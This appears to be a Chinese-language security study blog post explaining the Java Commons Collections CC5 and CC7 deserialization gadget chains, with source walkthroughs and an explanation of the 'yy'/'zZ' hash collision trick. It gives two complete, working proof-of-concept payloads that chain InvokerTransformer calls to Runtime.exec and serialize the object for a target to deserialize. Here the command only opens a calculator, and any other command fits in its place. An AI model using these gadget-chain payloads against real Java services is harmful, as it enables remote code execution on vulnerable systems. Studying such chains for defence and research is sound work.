java安全-CC5&CC7

  • 这俩条链都是在 Hashmap#get 方法之上,变换了与 CC1 不同的入口类即 readObject 方法调用类

一、CC5

1.主要逻辑

BadAttributeValueExpException#readObject

image-20260127214015127

readObject方法调用toString方法

TiedMapEntry#toString

image-20260127214119652

TiedMapEntry#toString这个方法属于CC1中的一部分,接着看getValue方法

TiedMapEntry#getValue

image-20260127214350029

这里会调用get方法,而LazyMapget方法会调用链路transform方法

image-20260127214451842

2.poc

编写poc,尝试满足条件

image-20260127214719358

BadAttributeValueExpException这个类的构造方法会毁掉我们的恶意类tiedMapEntry,于是要通过反射最后修改

1
setFieldValue(obj2,"val",tiedMapEntry);

总poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3};

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.lazyMap(map,new ChainedTransformer<>(chuan));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"foo");
BadAttributeValueExpException obj2 = new BadAttributeValueExpException(null);
setFieldValue(obj2,"val",tiedMapEntry);

serialize(obj2);
unserialize();

成功

image-20260127214627047

二、CC7

1.关键类

Hashtable#readObject

image-20260127221505217

这里调用了Hashtable#reconstitutionPut方法

Hashtable#reconstitutionPut

image-20260127221558196

这里调用了equals方法

AbstractMap#equals

image-20260127221751012

AbstractMap#equals方法会调用 get 方法,刚好接上链条后半段

2.主要逻辑

A、reconstitutionPut方法

image-20260127222020653

这个方法调用equals是有条件的

Hashtable 里需要有两个 Map(lazyMap1lazyMap2),它们的 HashCode 是一样的,这意味着它们都要存进同一个编号的柜子(比如第 5 号柜子)。

第一轮:存入 lazyMap1

  1. 检查柜子:程序走到 for 循环,去看 tab[5](第 5 号柜子)。
  2. 发现为空:此时柜子是空的(null)。
  3. 跳过循环:因为 e == nullfor 循环一次都不会执行。当然也就不会执行里面的 e.key.equals(key)
  4. 直接存入:程序跳过循环,执行下面的代码,把 decorateMap1 放进了 tab[5]

第二轮:存入 lazyMap2

  1. 检查柜子:程序再次走到 for 循环,去看 tab[5]
  2. 发现有人:此时 tab[5] 里已经坐着 decorateMap1 了(e != null)。
  3. 进入循环:因为柜子不为空,程序被迫进入循环
  4. 进行盘问 (触发漏洞)
    • 程序心想:“这个新来的(lazyMap2)和已经在里面的(lazyMap1)是不是同一个东西?”
    • 它执行了 e.key.equals(key),也就是 decorateMap1.equals(decorateMap2)
    • 💥 轰! 这一比较,触发了 LazyMapget,弹出了计算器。
1
2
3
4
5
6
7
8
9
10
// 遍历哈希桶(链表),检查里面是不是已经有这个 Key 了
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {

// 如果 Hash 值一样,并且 Key 的内容也一样(equals 返回 true)
if ((e.hash == hash) && e.key.equals(key)) {

// 抛出异常:数据流损坏(因为 Map 不允许有重复的 Key!)
throw new java.io.StreamCorruptedException();
}
}

同时,为了构造 e.hash == hash ,找到java中的一个小 bug

1
"yy".hashCode() == "zZ".hashCode()

最后便是

1
2
3
4
5
6
7
8
9
10
11
Map map1 = new HashMap<>();
Map lazyMap1 = LazyMap.lazyMap(map1,new ChainedTransformer<>(chuan));
lazyMap1.put("yy", 1);

Map<Object, Object> map2 = new HashMap<>();
Map lazyMap2 = LazyMap.lazyMap(map2,new ChainedTransformer<>(chuan));
lazyMap2.put("zZ", 1);

Hashtable obj2 = new Hashtable();
obj2.put(lazyMap1,1);
obj2.put(lazyMap2,1);

问题1:equals 的“懒惰”优化(直接返回)

如果你传的是同一个对象(比如 put(map1, val); put(map1, val);):

1
2
3
// AbstractMap.equals 源码第一行
if (o == this)
return true;
  • 后果:代码在第一行就检测到是同一个对象引用,直接返回 true
  • 结局:后面的逻辑全部跳过,根本不会执行 m.get(),计算器弹不出来。

问题2:LazyMap 的“缺货”机制(这是最关键的!)

假设你传了两个不同的对象,但它们的内容是一样的(比如 map1 里有 key “yy”,map2 里也有 key “yy”)。

Hashtable 强迫它们比较时,AbstractMap.equals 会执行以下逻辑:

  1. map1 说:“我有 key "yy",我要去检查 map2 有没有这个 key。”
  2. 代码执行:map2.get("yy")
  3. 关键时刻
    • LazyMap 的逻辑是:“只有当你找我要一个我不存在的 key 时,我才会去调用 Transformer(执行命令)。”
    • 因为 map2 里面也有 "yy",它会直接把值返回给你。
  4. 结局get 方法正常返回,不触发 Transformer,计算器弹不出来。

“yy” 和 “zZ” 这种组合

  1. 既骗过 Hashtable:让它以为这两个 Map 是一样的(HashCode 必须相同),这样才能强迫它们走进同一个柜子,触发 equals 比较。
    • 这就是为什么选 "yy""zZ",因为它俩 HashCode 一样,导致包裹它们的 Map HashCode 也一样。
  2. 又骗过 LazyMap:让它发现这两个 Map 内容其实不一样(Key 不同),这样才能触发“找不到 Key”的逻辑。
    • map1"yy"
    • map2"zZ" (没有 "yy")。
    • map1"yy" 去问 map2 时,map2 发现自己没货,于是触发 Transformer,BOOM!

B、AbstractMap#equals方法逻辑

  1. Hashtable#reconstitutionPut
    • 你的理解:确实是起点。因为 Hash 碰撞,触发了 e.key.equals(key)
    • 实际动作lazyMap1.equals(lazyMap2)
  2. LazyMap#equals
    • 你的理解:它没有这个方法。
    • 实际动作:JVM 自动去查它的父类 AbstractMapDecorator
  3. AbstractMapDecorator#equals
    • 你的理解:调用 decorated().equals(object)
    • 实际动作:这就是**“甩锅”**。它把判断任务转交给了它包裹的 map(也就是 hashMap1)。此时变成了 hashMap1.equals(lazyMap2)
  4. HashMap#equals
    • 你的理解:HashMap 也没有这个方法。
    • 实际动作:JVM 继续向上找父类,找到了 AbstractMap
  5. AbstractMap#equals
    • 你的理解:在调用它的父类,最终调用 get 方法。
    • 实际动作:这是**“凶手”**。它在对比过程中,拿 hashMap1 里的 key (“yy”),去调用传入参数 m (即 lazyMap2) 的 get("yy")

最后一步 AbstractMap#equals 里,是谁调用的 get

AbstractMap.equals(Object o) 源码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public boolean equals(Object o) {
// ... 前面的检查 ...
Map<K,V> m = (Map<K,V>) o; // 这里的 m 就是 lazyMap2

Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey(); // 这里取出的 key 是 "yy" (来自 lazyMap1)
V value = e.getValue();

// 【核心触发点】
// 这里的 m 是 lazyMap2
// 所以这里执行的是 lazyMap2.get("yy")
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // <--- 炸弹在这里引爆
return false;
}
}
return true;
}

C、remove方法

当在本地执行 hashtable.put(lazyMap2, 1) 时,由于哈希碰撞触发了 equals,导致 AbstractMap 调用了 lazyMap2.get("yy")

这时候,LazyMap 内部发生了如下反应:

  1. if (map.containsKey("yy") == false)
    • 此时 lazyMap2 只有 "zZ",没有 "yy"
    • 条件成立,进入 if 内部。
  2. Object value = factory.transform("yy")
    • 这里的 factory 就是你构造的 ChainedTransformer
    • 如果是本地调试(没把 Transformer 设为空),这里就已经弹出计算器了。
    • value 变成了 Transformer 执行后的结果(通常是一个对象或者 Process 结果)。
  3. map.put("yy", value) (这就是你要找的代码!)
    • 注意! LazyMap 并没有把这个值用完即弃,而是永久性地存入了自己的 HashMap 中
    • 从这一刻起,lazyMap2 的肚子里就多了一个键值对:"yy" -> value
  4. return value
    • 返回结果,方法结束。

对应get方法源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object get(Object key) {
// 1. 先检查:如果不包含这个 key
if (map.containsKey(key) == false) {

// 2.【触发命令执行】调用 factory (即 Transformer) 创建值
// 如果是攻击链,这里就会执行 exec("calc")
Object value = factory.transform(key);

// 3.【关键污染点!把新值塞进肚子里】
// 这一步就是为什么你需要 remove("yy") 的原因
map.put(key, value);

// 4. 返回新创建的值
return value;
}

// 如果 key 存在,就正常获取
return map.get(key);
}

map.put(key, value) 会改变 Map 的结构。在本地构造 Payload 的过程中,这个副作用会导致 Payload 被“污染”(多出了不该有的 Key)。如果不手动 remove 掉,发给受害者时,受害者一查发现“咦,你有 ‘yy’ 啊”,就不会走进这个 if 语句,也就永远走不到 factory.transform 这一行了。

状态图

步骤 LazyMap2 的状态 说明
1. 初始化 {"zZ": 1} 初始纯净状态
2. hashtable.put() {"zZ": 1, "yy": obj} 被污染! 本地触发了一次 get,自动生成了 yy
3. 如果直接序列化 {"zZ": 1, "yy": obj} 发送给对方的是脏数据
4. 对方反序列化执行 get("yy") 直接返回 obj 因为有了 yy,就不触发漏洞逻辑了
正确的做法
3. lazyMap2.remove("yy") {"zZ": 1} 恢复纯净,重置陷阱
4. 序列化发送 {"zZ": 1} 发送干净数据
5. 对方反序列化执行 get("yy") 触发 Transformer 因为没有 yy,LazyMap 才会去执行命令

D、调用的get方法

lazyMap2

第一幕:还原 Hashtable(开箱)

受害者服务器开始读取 ser.bin

  1. 读取第一个对象:它读到了 lazyMap1(那个持有 "yy" 钥匙的警察)。
    • 服务器把它放进新建的 Hashtable 的 5 号柜子(假设 Hash 是 5)。
    • 此时柜子是空的,直接放入。平安无事
  2. 读取第二个对象:它读到了 lazyMap2(那个被清空了 "yy" 且身怀炸弹的嫌疑人)。
    • 服务器计算它的 Hash,发现也是 5。
    • 服务器准备把它也放进 5 号柜子。

第二幕:碰撞与盘查(触发点)

因为 5 号柜子里已经有人了(lazyMap1),Hashtable 内部的代码(reconstitutionPut)立刻警觉起来:

  • Hashtable:“同一个柜子不能放重复的 Key,我得检查一下这俩是不是同一个东西。”
  • 动作:调用 e.key.equals(key)
    • e.key 是柜子里坐着的 lazyMap1
    • key 是新来的 lazyMap2
  • 执行代码lazyMap1.equals(lazyMap2)

第三幕:借刀杀人(AbstractMap 逻辑)

代码进入 AbstractMap.equals()。这是 lazyMap1 的主场。

  1. lazyMap1:“既然要比,那就拿我的清单来比。”
  2. 遍历lazyMap1 拿出了它唯一的一个 Key —— "yy"
    • 注:这个 Key 是我们在 Payload 构造阶段保留下来的,没有被 remove。
  3. 质问lazyMap1 指着 lazyMap2 问:“你有没有 "yy" 对应的值?拿出来!”
  4. 执行代码lazyMap2.get("yy")

第四幕:引爆(LazyMap 逻辑)

这是最关键的一刻。代码跳转到了 lazyMap2get 方法中。

  1. 检查库存lazyMap2 翻了一下自己的口袋。
    • 回想一下:我们在发送前专门执行了 lazyMap2.remove("yy")
    • 结果找不到 "yy"
  2. 触发后门
    • LazyMap 的逻辑是:“没有?那我就造一个。”
    • 它调用 factory.transform("yy")
  3. 核爆
    • 这里的 factory 是什么?
    • 回想一下:我们在发送前通过反射,把 lazyMap2factory 替换成了恶意的 finalChainedTransformer
    • 结果Runtime.exec("calc") 被执行。

E、意外点

1
2
3
4
5
6
7
Map map1 = new HashMap<>();
Map lazyMap1 = LazyMap.lazyMap(map1,new ConstantTransformer<>(1));
lazyMap1.put("yy", 1);

Map<Object, Object> map2 = new HashMap<>();
Map lazyMap2 = LazyMap.lazyMap(map2,new ConstantTransformer<>(2));
lazyMap2.put("zZ", 1);

这里

obj2.put(lazyMap1, 1):成功放入。

obj2.put(lazyMap2, 1):发生 Hash 碰撞,触发 lazyMap1.equals(lazyMap2)

比较过程

  • lazyMap1 拿出 "yy" (值为 1)。
  • 去问 lazyMap2lazyMap2.get("yy")
  • lazyMap2 没货,调用 Transformer,返回 1
  • AbstractMap 比较:lazyMap1 的 1 等于 lazyMap2 返回的 1。
  • 结论equals 返回 true

Hashtable 的决定

  • “这俩是一样的嘛!”
  • 结果:Hashtable 并没有存入两个 Map,而是合并成了一个。

3.最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3};

Map map1 = new HashMap<>();
Map lazyMap1 = LazyMap.lazyMap(map1,new ConstantTransformer<>(1));
lazyMap1.put("yy", 1);

Map<Object, Object> map2 = new HashMap<>();
Map lazyMap2 = LazyMap.lazyMap(map2,new ConstantTransformer<>(2));
lazyMap2.put("zZ", 1);

Hashtable obj2 = new Hashtable();
obj2.put(lazyMap1,1);
obj2.put(lazyMap2,1);
lazyMap2.remove("yy");
setFieldValue(lazyMap2,"factory",new ChainedTransformer<>(chuan));

serialize(obj2);
unserialize();

成功

image-20260127223721047

到这里 CC 链也就结束啦,下图是总结

Commons Collections_chuan